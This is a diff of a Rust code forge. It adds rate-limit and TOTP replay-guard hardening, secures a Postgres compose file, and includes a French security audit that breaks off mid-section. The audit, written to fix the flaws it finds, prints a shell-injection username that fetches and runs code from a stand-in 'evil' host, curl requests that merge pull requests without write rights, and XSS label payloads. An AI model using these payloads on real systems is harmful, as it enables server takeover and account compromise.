| 408 | + assert!(sliding.contains_key("a")); | |
| 409 | + } | |
| 410 | + | |
| 411 | + #[test] | |
| 412 | + fn evict_if_full_drops_key_with_oldest_last_timestamp() { | |
| 413 | + let now = Instant::now(); | |
| 414 | + let mut sliding = HashMap::new(); | |
| 415 | + for i in 0..8u64 { | |
| 416 | + sliding.insert(format!("k{i}"), vec![now + Duration::from_millis(i)]); | |
| 417 | + } | |
| 418 | + assert_eq!(sliding.len(), 8); | |
| 419 | + | |
| 420 | + evict_if_full(&mut sliding, 8, now + Duration::from_secs(1)); | |
| 421 | + assert_eq!(sliding.len(), 7); | |
| 422 | + assert!(!sliding.contains_key("k0")); | |
| 423 | + | |
| 424 | + sliding.entry("k8".into()).or_default().push(now); | |
| 425 | + assert!(sliding.contains_key("k8")); | |
| 426 | + assert!(sliding.len() <= 8); | |
| 427 | + } | |
| 428 | + | |
| 429 | + #[test] | |
| 430 | + fn sliding_window_evicts_lru_instead_of_rejecting_new_key() { | |
| 431 | + let rl = RateLimitService::new(); | |
| 432 | + let window = Duration::from_secs(3600); | |
| 433 | + for i in 0..8 { | |
| 434 | + rl.check_sliding_window_capped(&format!("k{i}"), 10, window, 8) | |
| 435 | + .unwrap(); | |
| 436 | + } | |
| 437 | + assert_eq!(rl.sliding_len(), 8); | |
| 438 | + rl.check_sliding_window_capped("k8", 10, window, 8) | |
| 439 | + .expect("new key must be admitted via LRU eviction"); | |
| 440 | + assert!(rl.sliding_len() <= 8); | |
| 441 | + } | |
| 442 | + | |
| 443 | + #[test] | |
| 444 | + fn sliding_window_does_not_evict_when_key_already_tracked() { | |
| 445 | + let rl = RateLimitService::new(); | |
| 446 | + let window = Duration::from_secs(3600); | |
| 447 | + for i in 0..8 { | |
| 448 | + rl.check_sliding_window_capped(&format!("k{i}"), 2, window, 8) | |
| 449 | + .unwrap(); | |
| 450 | + } | |
| 451 | + rl.check_sliding_window_capped("k0", 2, window, 8) | |
| 452 | + .expect("existing key at cap must keep its bucket"); | |
| 453 | + assert_eq!(rl.sliding_len(), 8); | |
| 454 | + } | |
| 455 | + | |
| 456 | + #[test] | |
| 457 | + fn evict_fixed_if_full_drops_oldest_window_start() { | |
| 458 | + let now = Instant::now(); | |
| 459 | + let mut buckets = HashMap::new(); | |
| 460 | + for i in 0..8u64 { | |
| 461 | + buckets.insert( | |
| 462 | + format!("k{i}"), | |
| 463 | + WindowCounter { | |
| 464 | + count: 1, | |
| 465 | + window_start: now + Duration::from_millis(i), | |
| 466 | + }, | |
| 467 | + ); | |
| 468 | + } | |
| 469 | + evict_fixed_if_full(&mut buckets, 8); | |
| 470 | + assert_eq!(buckets.len(), 7); | |
| 471 | + assert!(!buckets.contains_key("k0")); | |
| 472 | + buckets.insert( | |
| 473 | + "k8".into(), | |
| 474 | + WindowCounter { | |
| 475 | + count: 1, | |
| 476 | + window_start: now, | |
| 477 | + }, | |
| 478 | + ); | |
| 479 | + assert!(buckets.contains_key("k8")); | |
| 480 | + assert!(buckets.len() <= 8); | |
| 481 | + } | |
| 482 | + | |
| 483 | + #[test] | |
| 484 | + fn fixed_window_evicts_instead_of_rejecting_new_key() { | |
| 485 | + let rl = RateLimitService::new(); | |
| 486 | + let window = Duration::from_secs(60); | |
| 487 | + for i in 0..8 { | |
| 488 | + rl.check_window_capped(&format!("k{i}"), 10, window, 8) | |
| 489 | + .unwrap(); | |
| 490 | + } | |
| 491 | + assert_eq!(rl.len(), 8); | |
| 492 | + rl.check_window_capped("k8", 10, window, 8) | |
| 493 | + .expect("new key must be admitted via eviction"); | |
| 494 | + assert!(rl.len() <= 8); | |
| 495 | + } | |
| 317 | 496 | } |
M
crates/rustwarden-core/src/services/totp_service.rs
+191
-28
@@ -3,6 +3,10 @@
| 3 | 3 | //! Provides methods for generating, verifying, and managing TOTP 2FA |
| 4 | 4 | //! including backup codes and login challenge flow. |
| 5 | 5 | |
| 6 | +use std::collections::HashMap; | |
| 7 | +use std::sync::{Mutex, OnceLock}; | |
| 8 | +use std::time::Instant; | |
| 9 | + | |
| 6 | 10 | use chrono::{Duration, Utc}; |
| 7 | 11 | use sea_orm::{ActiveModelTrait, ColumnTrait, DatabaseConnection, EntityTrait, QueryFilter, Set}; |
| 8 | 12 | use totp_rs::{Algorithm, Secret, TOTP}; |
@@ -16,6 +20,102 @@ const BACKUP_CODE_COUNT: usize = 10;
| 16 | 20 | const BACKUP_CODE_LENGTH: usize = 8; |
| 17 | 21 | const CHALLENGE_EXPIRY_MINUTES: i64 = 5; |
| 18 | 22 | const MAX_CHALLENGE_ATTEMPTS: i32 = 5; |
| 23 | +/// Cap of *summed* challenge attempts per user over 15 minutes. | |
| 24 | +const MAX_ATTEMPTS_PER_WINDOW: i32 = 15; | |
| 25 | +const REPLAY_GUARD_TTL_SECS: u64 = 90; | |
| 26 | + | |
| 27 | +/// Returns true when the summed challenge attempts reach [`MAX_ATTEMPTS_PER_WINDOW`]. | |
| 28 | +pub(crate) fn totp_window_exceeded(attempts: impl Iterator<Item = i32>) -> bool { | |
| 29 | + attempts.sum::<i32>() >= MAX_ATTEMPTS_PER_WINDOW | |
| 30 | +} | |
| 31 | + | |
| 32 | +/// Returns the matching TOTP time-step (`unix_time / 30`) if `code` is valid | |
| 33 | +/// for the current step or skew ±1. | |
| 34 | +pub(crate) fn matching_totp_step(secret_base32: &str, code: &str) -> Option<u64> { | |
| 35 | + let secret = Secret::Encoded(secret_base32.to_string()); | |
| 36 | + let totp = TOTP::new( | |
| 37 | + Algorithm::SHA1, | |
| 38 | + 6, | |
| 39 | + 1, | |
| 40 | + 30, | |
| 41 | + secret.to_bytes().ok()?, | |
| 42 | + None, | |
| 43 | + String::new(), | |
| 44 | + ) | |
| 45 | + .ok()?; | |
| 46 | + | |
| 47 | + // `check` accounts for skew ±1 and compares with constant_time_eq. | |
| 48 | + // Identify the matching window only after that reject path. | |
| 49 | + let now = Utc::now().timestamp().max(0) as u64; | |
| 50 | + if !totp.check(code, now) { | |
| 51 | + return None; | |
| 52 | + } | |
| 53 | + for delta in [-1_i64, 0, 1] { | |
| 54 | + let Some(step) = (now / 30).checked_add_signed(delta) else { | |
| 55 | + continue; | |
| 56 | + }; | |
| 57 | + if totp.generate(step * 30) == code { | |
| 58 | + return Some(step); | |
| 59 | + } | |
| 60 | + } | |
| 61 | + None | |
| 62 | +} | |
| 63 | + | |
| 64 | +/// Accepts a `(user_id, step)` pair once per 90s in-process window. | |
| 65 | +/// | |
| 66 | +/// Returns `false` when the same step was already accepted (replay). | |
| 67 | +pub(crate) fn totp_replay_guard_accept(user_id: Uuid, step: u64) -> bool { | |
| 68 | + static CACHE: OnceLock<Mutex<HashMap<(Uuid, u64), Instant>>> = OnceLock::new(); | |
| 69 | + let mut cache = CACHE | |
| 70 | + .get_or_init(|| Mutex::new(HashMap::new())) | |
| 71 | + .lock() | |
| 72 | + .unwrap_or_else(|e| e.into_inner()); | |
| 73 | + | |
| 74 | + let ttl = std::time::Duration::from_secs(REPLAY_GUARD_TTL_SECS); | |
| 75 | + cache.retain(|_, instant| instant.elapsed() < ttl); | |
| 76 | + | |
| 77 | + let key = (user_id, step); | |
| 78 | + if cache.contains_key(&key) { | |
| 79 | + return false; | |
| 80 | + } | |
| 81 | + | |
| 82 | + cache.insert(key, Instant::now()); | |
| 83 | + true | |
| 84 | +} | |
| 85 | + | |
| 86 | +/// Finds the first bcrypt-matching backup-code hash index off the async runtime. | |
| 87 | +/// | |
| 88 | +/// Short-circuits on the first match: the index is not a secret (the attacker | |
| 89 | +/// already knows the plaintext code they submitted). Join errors become | |
| 90 | +/// [`AppError::Internal`]. A bcrypt verification failure is a non-match. | |
| 91 | +async fn find_matching_backup_index( | |
| 92 | + code: String, | |
| 93 | + hashed_codes: Vec<String>, | |
| 94 | +) -> Result<Option<usize>, AppError> { | |
| 95 | + tokio::task::spawn_blocking(move || { | |
| 96 | + let mut found = None; | |
| 97 | + for (i, hashed) in hashed_codes.iter().enumerate() { | |
| 98 | + if bcrypt::verify(&code, hashed).unwrap_or(false) { | |
| 99 | + found = Some(i); | |
| 100 | + break; // allowed: index is not a secret; attacker knows their code | |
| 101 | + } | |
| 102 | + } | |
| 103 | + found | |
| 104 | + }) | |
| 105 | + .await | |
| 106 | + .map_err(|e| AppError::Internal(format!("Blocking task failed: {e}"))) | |
| 107 | +} | |
| 108 | + | |
| 109 | +/// Verifies a plaintext backup code against a single bcrypt hash off the async runtime. | |
| 110 | +/// | |
| 111 | +/// Join errors from the blocking thread pool become [`AppError::Internal`]. | |
| 112 | +/// A bcrypt verification failure is treated as a non-match (`false`). | |
| 113 | +#[cfg(test)] | |
| 114 | +pub(crate) async fn verify_one_backup(code: String, hashed: String) -> Result<bool, AppError> { | |
| 115 | + Ok(find_matching_backup_index(code, vec![hashed]) | |
| 116 | + .await? | |
| 117 | + .is_some()) | |
| 118 | +} | |
| 19 | 119 | |
| 20 | 120 | /// Response from TOTP setup containing data needed to display QR code |
| 21 | 121 | pub struct TotpSetupResponse { |
@@ -159,7 +259,13 @@ impl TotpService {
| 159 | 259 | .ok_or_else(|| AppError::TotpNotEnabled)?; |
| 160 | 260 | |
| 161 | 261 | let secret_base32 = CryptoService::decrypt(&record.secret_encrypted)?; |
| 162 | - Self::verify_totp_code(&secret_base32, code) | |
| 262 | + let Some(step) = matching_totp_step(&secret_base32, code) else { | |
| 263 | + return Ok(false); | |
| 264 | + }; | |
| 265 | + if !totp_replay_guard_accept(user_id, step) { | |
| 266 | + return Ok(false); | |
| 267 | + } | |
| 268 | + Ok(true) | |
| 163 | 269 | } |
| 164 | 270 | |
| 165 | 271 | /// Verify and consume a backup code. |
@@ -187,14 +293,9 @@ impl TotpService {
| 187 | 293 | let mut hashed_codes: Vec<String> = serde_json::from_str(&codes_json) |
| 188 | 294 | .map_err(|e| AppError::Internal(format!("Failed to parse backup codes: {}", e)))?; |
| 189 | 295 | |
| 190 | - // Find matching code | |
| 191 | - let mut found_index = None; | |
| 192 | - for (i, hashed) in hashed_codes.iter().enumerate() { | |
| 193 | - if bcrypt::verify(code, hashed).unwrap_or(false) { | |
| 194 | - found_index = Some(i); | |
| 195 | - break; | |
| 196 | - } | |
| 197 | - } | |
| 296 | + // bcrypt::verify is CPU-bound; run the scan off the async runtime. | |
| 297 | + let found_index = | |
| 298 | + find_matching_backup_index(code.to_string(), hashed_codes.clone()).await?; | |
| 198 | 299 | |
| 199 | 300 | let Some(index) = found_index else { |
| 200 | 301 | return Ok(false); |
@@ -286,16 +387,16 @@ impl TotpService {
| 286 | 387 | db: &DatabaseConnection, |
| 287 | 388 | user_id: Uuid, |
| 288 | 389 | ) -> Result<String, AppError> { |
| 289 | - // Check for too many recent failed challenges (anti-brute-force) | |
| 390 | + // Summed attempt cap across all challenges in the last 15 minutes (E-3). | |
| 290 | 391 | let recent_cutoff = Utc::now() - Duration::minutes(15); |
| 291 | - let recent_failed = totp_challenge::Entity::find() | |
| 392 | + let recent = totp_challenge::Entity::find() | |
| 292 | 393 | .filter(totp_challenge::Column::UserId.eq(user_id)) |
| 293 | 394 | .filter(totp_challenge::Column::CreatedAt.gte(recent_cutoff)) |
| 294 | - .filter(totp_challenge::Column::Attempts.gte(MAX_CHALLENGE_ATTEMPTS)) | |
| 295 | 395 | .all(db) |
| 296 | 396 | .await?; |
| 297 | 397 | |
| 298 | - if recent_failed.len() >= 3 { | |
| 398 | + if totp_window_exceeded(recent.iter().map(|c| c.attempts)) { | |
| 399 | + tracing::warn!(%user_id, "TOTP global attempt cap reached"); | |
| 299 | 400 | return Err(AppError::TotpMaxAttemptsExceeded); |
| 300 | 401 | } |
| 301 | 402 |
@@ -393,21 +494,7 @@ impl TotpService {
| 393 | 494 | |
| 394 | 495 | /// Verify a TOTP code against a base32-encoded secret. |
| 395 | 496 | fn verify_totp_code(secret_base32: &str, code: &str) -> Result<bool, AppError> { |
| 396 | - let secret = Secret::Encoded(secret_base32.to_string()); | |
| 397 | - let totp = TOTP::new( | |
| 398 | - Algorithm::SHA1, | |
| 399 | - 6, | |
| 400 | - 1, | |
| 401 | - 30, | |
| 402 | - secret | |
| 403 | - .to_bytes() | |
| 404 | - .map_err(|e| AppError::Internal(format!("Failed to decode TOTP secret: {}", e)))?, | |
| 405 | - None, | |
| 406 | - String::new(), | |
| 407 | - ) | |
| 408 | - .map_err(|e| AppError::Internal(format!("Failed to create TOTP: {}", e)))?; | |
| 409 | - | |
| 410 | - Ok(totp.check_current(code).unwrap_or(false)) | |
| 497 | + Ok(matching_totp_step(secret_base32, code).is_some()) | |
| 411 | 498 | } |
| 412 | 499 | |
| 413 | 500 | /// Generate backup codes: returns (plaintext_codes, encrypted_json_of_hashed_codes). |
@@ -514,6 +601,64 @@ mod tests {
| 514 | 601 | } |
| 515 | 602 | } |
| 516 | 603 | |
| 604 | + #[test] | |
| 605 | + fn four_challenges_of_four_attempts_are_blocked() { | |
| 606 | + assert!(totp_window_exceeded([4, 4, 4, 4].into_iter())); // 16 | |
| 607 | + } | |
| 608 | + | |
| 609 | + #[test] | |
| 610 | + fn fourteen_attempts_still_allowed() { | |
| 611 | + assert!(!totp_window_exceeded([4, 4, 4, 2].into_iter())); // 14 | |
| 612 | + } | |
| 613 | + | |
| 614 | + #[test] | |
| 615 | + fn fifteen_attempts_are_blocked() { | |
| 616 | + assert!(totp_window_exceeded([4, 4, 4, 3].into_iter())); // 15 | |
| 617 | + } | |
| 618 | + | |
| 619 | + #[test] | |
| 620 | + fn same_step_replay_is_rejected() { | |
| 621 | + // Dedicated id so parallel tests cannot collide on Uuid::nil(). | |
| 622 | + let uid = Uuid::from_u128(0x_70_70_51_E0_1A_7_u128); | |
| 623 | + assert!(totp_replay_guard_accept(uid, 42)); | |
| 624 | + assert!(!totp_replay_guard_accept(uid, 42)); | |
| 625 | + assert!(totp_replay_guard_accept(uid, 43)); | |
| 626 | + } | |
| 627 | + | |
| 628 | + #[test] | |
| 629 | + fn matching_totp_step_accepts_current_and_previous_windows() { | |
| 630 | + let secret = Secret::generate_secret(); | |
| 631 | + let secret_base32 = secret.to_encoded().to_string(); | |
| 632 | + let totp = TOTP::new( | |
| 633 | + Algorithm::SHA1, | |
| 634 | + 6, | |
| 635 | + 1, | |
| 636 | + 30, | |
| 637 | + secret.to_bytes().unwrap(), | |
| 638 | + None, | |
| 639 | + String::new(), | |
| 640 | + ) | |
| 641 | + .unwrap(); | |
| 642 | + | |
| 643 | + let now = Utc::now().timestamp().max(0) as u64; | |
| 644 | + let current_step = now / 30; | |
| 645 | + let current_code = totp.generate(current_step * 30); | |
| 646 | + assert_eq!( | |
| 647 | + matching_totp_step(&secret_base32, ¤t_code), | |
| 648 | + Some(current_step) | |
| 649 | + ); | |
| 650 | + | |
| 651 | + if current_step > 0 && totp.ttl().unwrap_or(0) > 1 { | |
| 652 | + let previous_code = totp.generate((current_step - 1) * 30); | |
| 653 | + assert_eq!( | |
| 654 | + matching_totp_step(&secret_base32, &previous_code), | |
| 655 | + Some(current_step - 1) | |
| 656 | + ); | |
| 657 | + } | |
| 658 | + | |
| 659 | + assert_eq!(matching_totp_step(&secret_base32, "1"), None); | |
| 660 | + } | |
| 661 | + | |
| 517 | 662 | /// Asserts each generated backup code is unique. |
| 518 | 663 | /// |
| 519 | 664 | /// Same rationale as `test_generate_backup_codes`: the test reads |
@@ -537,4 +682,22 @@ mod tests {
| 537 | 682 | assert!(unique.insert(code.clone()), "Backup codes should be unique"); |
| 538 | 683 | } |
| 539 | 684 | } |
| 685 | + | |
| 686 | + #[tokio::test] | |
| 687 | + async fn verify_one_backup_matches_known_hash_and_rejects_mismatch() { | |
| 688 | + let hashed = bcrypt::hash("ABCD2345", 4).expect("hash backup code"); | |
| 689 | + | |
| 690 | + assert!( | |
| 691 | + verify_one_backup("ABCD2345".to_string(), hashed.clone()) | |
| 692 | + .await | |
| 693 | + .expect("spawn_blocking join"), | |
| 694 | + "matching backup code should verify" | |
| 695 | + ); | |
| 696 | + assert!( | |
| 697 | + !verify_one_backup("ZZZZ9999".to_string(), hashed) | |
| 698 | + .await | |
| 699 | + .expect("spawn_blocking join"), | |
| 700 | + "mismatched backup code should not verify" | |
| 701 | + ); | |
| 702 | + } | |
| 540 | 703 | } |
M
database/docker-compose.yml
+6
-3
@@ -9,11 +9,14 @@ services:
| 9 | 9 | # If you need to create multiple database you can add coma separated databases eg gis,data |
| 10 | 10 | - POSTGRES_DB=${POSTGRES_DB:-database} |
| 11 | 11 | - POSTGRES_USER=${POSTGRES_USER:-user} |
| 12 | - - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-pass3ord} | |
| 13 | - - ALLOW_IP_RANGE=${ALLOW_IP_RANGE:-0.0.0.0/0} | |
| 12 | + # Required: copy env.sample to .env and set a unique password. No default. | |
| 13 | + - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:?Set POSTGRES_PASSWORD in database/.env} | |
| 14 | + # ALLOW_IP_RANGE n'est pas consommé par ce compose (pas de pg_hba custom). | |
| 15 | + # Conservé en commentaire pour ne pas prétendre restreindre 0.0.0.0/0 : | |
| 16 | + # - ALLOW_IP_RANGE=${ALLOW_IP_RANGE:-127.0.0.1/32} | |
| 14 | 17 | # Add extensions you need to be enabled by default in the DB. Default are the five specified below |
| 15 | 18 | ports: |
| 16 | - - 5432:5432 | |
| 19 | + - "127.0.0.1:5432:5432" | |
| 17 | 20 | restart: unless-stopped |
| 18 | 21 | healthcheck: |
| 19 | 22 | test: "exit 0" |
M
database/env.sample
+4
-1
@@ -1,8 +1,11 @@
| 1 | 1 | ## environment file for docker-compose and builders |
| 2 | +## Copy to database/.env (not committed). POSTGRES_PASSWORD is required | |
| 3 | +## (`:?` in docker-compose.yml) — there is no compose fallback. | |
| 2 | 4 | |
| 3 | 5 | COMPOSE_PROJECT_NAME=postgres-rustwarden |
| 4 | 6 | POSTGRES_DB=rustwarden |
| 5 | 7 | POSTGRES_USER=rustwarden_user |
| 6 | 8 | POSTGRES_PASSWORD=change_me_in_production |
| 7 | -ALLOW_IP_RANGE=0.0.0.0/0 | |
| 9 | +# ALLOW_IP_RANGE is unused by this compose (no custom pg_hba). | |
| 10 | +# ALLOW_IP_RANGE=127.0.0.1/32 | |
| 8 | 11 |
A
docs/SECURITY_AUDIT.md
+511
-0
@@ -0,0 +1,511 @@
| 1 | +# Audit de sécurité Gitrust — 17 septembre 2026 | |
| 2 | + | |
| 3 | +Audit statique complet du code et de la configuration, mené du double point de vue | |
| 4 | +**exploitant de la plateforme** (celui qui déploie) et **utilisateur de la plateforme** | |
| 5 | +(celui qui s'inscrit et pousse du code). | |
| 6 | + | |
| 7 | +| | | | |
| 8 | +|---|---| | |
| 9 | +| **Périmètre** | `gitrust-core`, `gitrust-git`, `gitrust-web`, `gitrust-ssh`, `gitrust-ssh-guard`, `gitrust-hooks`, `src/main.rs`, `deployment/`, `docker/`, `database/`, dépendances | | |
| 10 | +| **Hors périmètre** | `rustwarden-fediverse`, `rustwarden-fediverse-guard` et tous les chemins ActivityPub (features opt-in, exclues sur consigne) | | |
| 11 | +| **Framework** | `rustwarden-core` lu en seule lecture ; les constats qui en relèvent sont marqués *upstream* | | |
| 12 | +| **Méthode** | Analyse statique du code source, des gabarits, de la configuration et de l'historique Git. `cargo audit` exécuté. **Aucun test dynamique, aucune exploitation réelle.** | | |
| 13 | +| **Volume** | ~64 000 lignes de Rust auditées, 9 crates, ~95 constats | | |
| 14 | +| **Verdict** | **BLOQUANT** — ne pas déployer chez un tiers ni faire de démonstration publique avant traitement des constats critiques | | |
| 15 | + | |
| 16 | +--- | |
| 17 | + | |
| 18 | +## 1. Synthèse exécutive | |
| 19 | + | |
| 20 | +### Le verdict en une phrase | |
| 21 | + | |
| 22 | +Le **code applicatif est de bonne facture** — les invariants annoncés (pas de `unwrap`, pas | |
| 23 | +d'`unsafe`, échappement systématique, CSRF réel, aucune injection SQL) sont **tenus dans les | |
| 24 | +faits**, ce qui est rare. Mais **trois défauts ponctuels ouvrent des chaînes d'attaque | |
| 25 | +complètes**, et **la configuration livrée est dangereuse en l'état** : des secrets de | |
| 26 | +production sont versionnés, et le compte administrateur des fichiers de déploiement a pour | |
| 27 | +mot de passe `password`. | |
| 28 | + | |
| 29 | +### Répartition des constats | |
| 30 | + | |
| 31 | +| Sévérité | Nombre | Nature | | |
| 32 | +|---|---|---| | |
| 33 | +| **CRITIQUE** | 8 | RCE, secrets de production exposés, prise de contrôle administrative | | |
| 34 | +| **ÉLEVÉE** | 17 | Contournement d'autorisation, XSS stockée, contournement 2FA, CVE pré-authentification | | |
| 35 | +| **MOYENNE** | 26 | IDOR, énumération, durcissement manquant, déni de service | | |
| 36 | +| **FAIBLE / INFO** | ~44 | Défense en profondeur, cohérence, hygiène | | |
| 37 | + | |
| 38 | +### Les huit constats critiques | |
| 39 | + | |
| 40 | +| # | Constat | Localisation | Qui peut l'exploiter | | |
| 41 | +|---|---|---|---| | |
| 42 | +| **C-1** | Exécution de code à distance sur l'hôte Gitrust via le nom d'utilisateur interpolé dans un `sh -c` | `ci_worker.rs:380` | Tout utilisateur qui peut s'inscrire | | |
| 43 | +| **C-2** | Suppression récursive de répertoire arbitraire | `gitrust-hooks/src/lib.rs:221` | Tout utilisateur (via renommage de compte) | | |
| 44 | +| **C-3** | Fusion de pull request sans aucun droit d'écriture (API REST) | `api/pulls.rs:190` | Tout compte authentifié, sur tout dépôt public | | |
| 45 | +| **C-4** | `JWT_SECRET`, mot de passe PostgreSQL, `ADMIN_PASSWORD` et `SMTP_PASSWORD` de production dans l'historique Git | commits `91ff499`, `20dbf23` | Quiconque obtient un clone | | |
| 46 | +| **C-5** | Mot de passe PostgreSQL et `OAUTH_ENCRYPTION_KEY` de production versionnés dans `.env.test` | `.env.test:6` et `:60` | Quiconque lit le dépôt | | |
| 47 | +| **C-6** | `ADMIN_PASSWORD` vaut littéralement `password` | `.env`, `.env.production`, `.env.local`, `deployment/.env_nuage` | Attaquant distant non authentifié | | |
| 48 | +| **C-7** | Le placeholder `JWT_SECRET` de `.env.example` passe la validation, et `deploy.sh` le promeut en `.env` | `.env.example:99`, `deploy.sh:417` | Toute instance déployée par un tiers selon le chemin nominal | | |
| 49 | +| **C-8** | Dump SQL de 22 Mo (utilisateurs, jetons, clés SSH) non couvert par `.gitignore` | `Services/gitrust-backup-2026-05-28-2211.sql` | Un seul `git add .` suffit à le publier | | |
| 50 | + | |
| 51 | +### Une cause racine explique quatre constats | |
| 52 | + | |
| 53 | +**Le nom d'utilisateur n'est validé nulle part** — ni charset, ni format, ni liste de noms | |
| 54 | +réservés. `register_submit` (`handlers/auth.rs:391`) transmet la chaîne brute du formulaire à | |
| 55 | +`UserService::create_user`, et la route API du framework ne contrôle que la longueur | |
| 56 | +(`length(min = 3, max = 64)`). Cette seule lacune produit **C-1** (injection shell), **C-2** | |
| 57 | +(suppression de répertoire), **X-2** (XSS stockée visant l'administrateur) et une création de | |
| 58 | +répertoire hors arborescence (`auth.rs:442`). | |
| 59 | + | |
| 60 | +Le projet dispose pourtant du bon outil : les newtypes validés `RepoSlug` et `TeamSlug` | |
| 61 | +(`gitrust-core/src/types.rs`). Il manque simplement l'équivalent pour `username`. **Un | |
| 62 | +correctif d'une vingtaine de lignes ferme quatre vulnérabilités dont deux critiques** — c'est | |
| 63 | +de loin le meilleur rapport effort/bénéfice de tout ce rapport. | |
| 64 | + | |
| 65 | +--- | |
| 66 | + | |
| 67 | +## 2. Chaînes d'attaque — le point de vue d'un utilisateur de la plateforme | |
| 68 | + | |
| 69 | +Cette section répond directement à votre demande d'analyse « comme utilisateur de la | |
| 70 | +plateforme ». Chaque scénario est réalisable par un compte ordinaire, sans privilège. | |
| 71 | + | |
| 72 | +### Scénario A — De l'inscription à l'exécution de code sur le serveur (C-1) | |
| 73 | + | |
| 74 | +**Prérequis** : pouvoir créer un compte. `ALLOW_REGISTRATION=false` par défaut dans | |
| 75 | +`.env.example`, mais une instance de démonstration l'ouvre par définition. | |
| 76 | + | |
| 77 | +1. L'attaquant s'inscrit avec le nom d'utilisateur `` x`curl${IFS}http://evil/x.sh|sh`y ``. | |
| 78 | + Aucun `/`, `..` ni `\` : les trois seuls filtres existants sont contournés. C'est un nom de | |
| 79 | + répertoire Linux parfaitement valide, et il est créé sur le disque. | |
| 80 | +2. Il crée un dépôt, y dépose un `.gitrust-ci.yml` minimal, et pousse. | |
| 81 | +3. Le worker CI appelle `prepare_workspace`, qui construit : | |
| 82 | + | |
| 83 | +```rust | |
| 84 | +// crates/gitrust-core/src/services/ci_worker.rs:380 | |
| 85 | +let mut cmd = Command::new("sh"); | |
| 86 | +cmd.arg("-c").arg(format!( | |
| 87 | + "git --git-dir {} archive --format=tar {} | tar -xf - -C {}", | |
| 88 | + task.disk_path.display(), // contient le username, non échappé | |
| 89 | + task.commit_sha, | |
| 90 | + workspace_dir.display(), | |
| 91 | +)) | |
| 92 | +``` | |
| 93 | + | |
| 94 | +4. La substitution de commande s'exécute **sur l'hôte Gitrust lui-même**, avec l'identité du | |
| 95 | + processus de la forge — **avant** tout envoi vers le runner distant. L'isolation prévue par | |
| 96 | + l'architecture CI est intégralement contournée. | |
| 97 | + | |
| 98 | +**Ce que l'attaquant obtient** : lecture de `GIT_REPOS_BASE_PATH` (tous les dépôts privés de | |
| 99 | +tous les utilisateurs), du `.env` (`DATABASE_URL`, `JWT_SECRET`, `SMTP_PASSWORD`), et de la clé | |
| 100 | +SSH du runner. Avec le `JWT_SECRET`, il forge un jeton administrateur. **Compromission totale.** | |
| 101 | + | |
| 102 | +Le paradoxe est que le bon patron existe déjà dans le même dépôt : `sbom_service.rs:211` fait | |
| 103 | +exactement la même opération en argv natif, sans shell, et valide `commit_sha` contre | |
| 104 | +`^[0-9a-f]{40}$`. `ci_worker` aurait dû le recopier. | |
| 105 | + | |
| 106 | +### Scénario B — Écrire dans le dépôt de quelqu'un d'autre (C-3) | |
| 107 | + | |
| 108 | +**Prérequis** : un compte, et un dépôt public quelconque. | |
| 109 | + | |
| 110 | +`resolve_api_repo` (`api/repos.rs:42-86`) ne vérifie **que la lecture** : permission explicite | |
| 111 | +ou `is_public`. Le contexte qu'il renvoie ne porte aucune notion d'écriture. `merge_pull` s'en | |
| 112 | +contente et écrit directement dans le dépôt bare : | |
| 113 | + | |
| 114 | +```bash | |
| 115 | +# 1. Ouvrir une PR (create_pull ne demande également que la lecture) | |
| 116 | +curl -X POST https://forge/api/v1/repos/victime/projet/pulls \ | |
| 117 | + -H "Authorization: token <son_propre_PAT>" \ | |
| 118 | + -d '{"title":"x","source_branch":"une-branche","target_branch":"main"}' | |
| 119 | + | |
| 120 | +# 2. La fusionner dans main | |
| 121 | +curl -X POST https://forge/api/v1/repos/victime/projet/pulls/42/merge \ | |
| 122 | + -H "Authorization: token <son_propre_PAT>" | |
| 123 | +# → 200 : commit de merge écrit dans refs/heads/main, CI déclenchée | |
| 124 | +``` | |
| 125 | + | |
| 126 | +Le handler SSR équivalent fait bien le contrôle (`pull_requests.rs:494`, « only maintainers can | |
| 127 | +merge »). C'est l'API REST qui l'a perdu en route. **Pour une forge, l'intégrité du code d'un | |
| 128 | +dépôt est l'invariant fondamental : ce constat seul justifie un correctif immédiat.** | |
| 129 | + | |
| 130 | +La même cause racine — l'absence de notion `can_push` dans le contexte résolu — laisse neuf | |
| 131 | +autres handlers d'écriture gardés par un simple droit de lecture (voir §4.2, AUTHZ-03) : | |
| 132 | +fermer et rouvrir les issues et les PR, commenter, créer une PR. Un compte lambda peut fermer | |
| 133 | +l'intégralité du suivi de bugs d'un dépôt public. | |
| 134 | + | |
| 135 | +### Scénario C — Exécuter du JavaScript chez le mainteneur (X-1) | |
| 136 | + | |
| 137 | +**Prérequis** : accès en lecture à un dépôt, et le droit d'ouvrir une issue. | |
| 138 | + | |
| 139 | +Askama échappe correctement le HTML, mais **l'échappement HTML ne protège pas un contexte | |
| 140 | +JavaScript imbriqué dans un attribut** : le parseur décode `'` en `'` *avant* que le | |
| 141 | +moteur JS ne compile le source. | |
| 142 | + | |
| 143 | +```html | |
| 144 | +<!-- crates/gitrust-web/templates/repository/issue_detail.html:146 --> | |
| 145 | +onclick="removeSubjectTag(this, '{{ label.name }}')" | |
| 146 | +``` | |
| 147 | + | |
| 148 | +Les labels « subject » sont créés à la volée par n'importe quel auteur d'issue | |
| 149 | +(`issue_labels.rs:78-105`), et `validate_label_name` ne contrôle que la longueur. Un label | |
| 150 | +nommé `x'+alert(document.domain)+'` s'exécute chez le mainteneur qui ouvre l'issue. | |
| 151 | + | |
| 152 | +La CSP ne rattrape rien : elle contient `script-src 'unsafe-inline'`. Et `'unsafe-eval'` y | |
| 153 | +figure aussi alors qu'il est démontrablement inutile (ni Mermaid ni htmx n'en ont besoin ici). | |
| 154 | + | |
| 155 | +**Variante visant l'administrateur (X-2)** : le nom d'utilisateur est injecté dans un | |
| 156 | +`onsubmit` sur `/admin/users/{id}` (`admin/user_detail.html:126`). Puisque `username` n'est pas | |
| 157 | +validé, s'inscrire sous `x'+fetch('/admin/…')+'` suffit à exécuter du code dans la session de | |
| 158 | +l'administrateur qui consulte la fiche du compte. | |
| 159 | + | |
| 160 | +### Scénario D — Contourner le second facteur (AUTH-01, AUTH-04) | |
| 161 | + | |
| 162 | +Deux défauts se combinent pour un attaquant qui détient déjà un mot de passe (phishing, fuite | |
| 163 | +d'une base tierce, réutilisation). | |
| 164 | + | |
| 165 | +D'abord, le contrôle 2FA **échoue en mode ouvert** : | |
| 166 | + | |
| 167 | +```rust | |
| 168 | +// crates/gitrust-web/src/handlers/auth.rs:144-148 | |
| 169 | +match TotpService::is_totp_enabled(&db, user.id).await { | |
| 170 | + Ok(true) => { /* challenge 2FA */ } | |
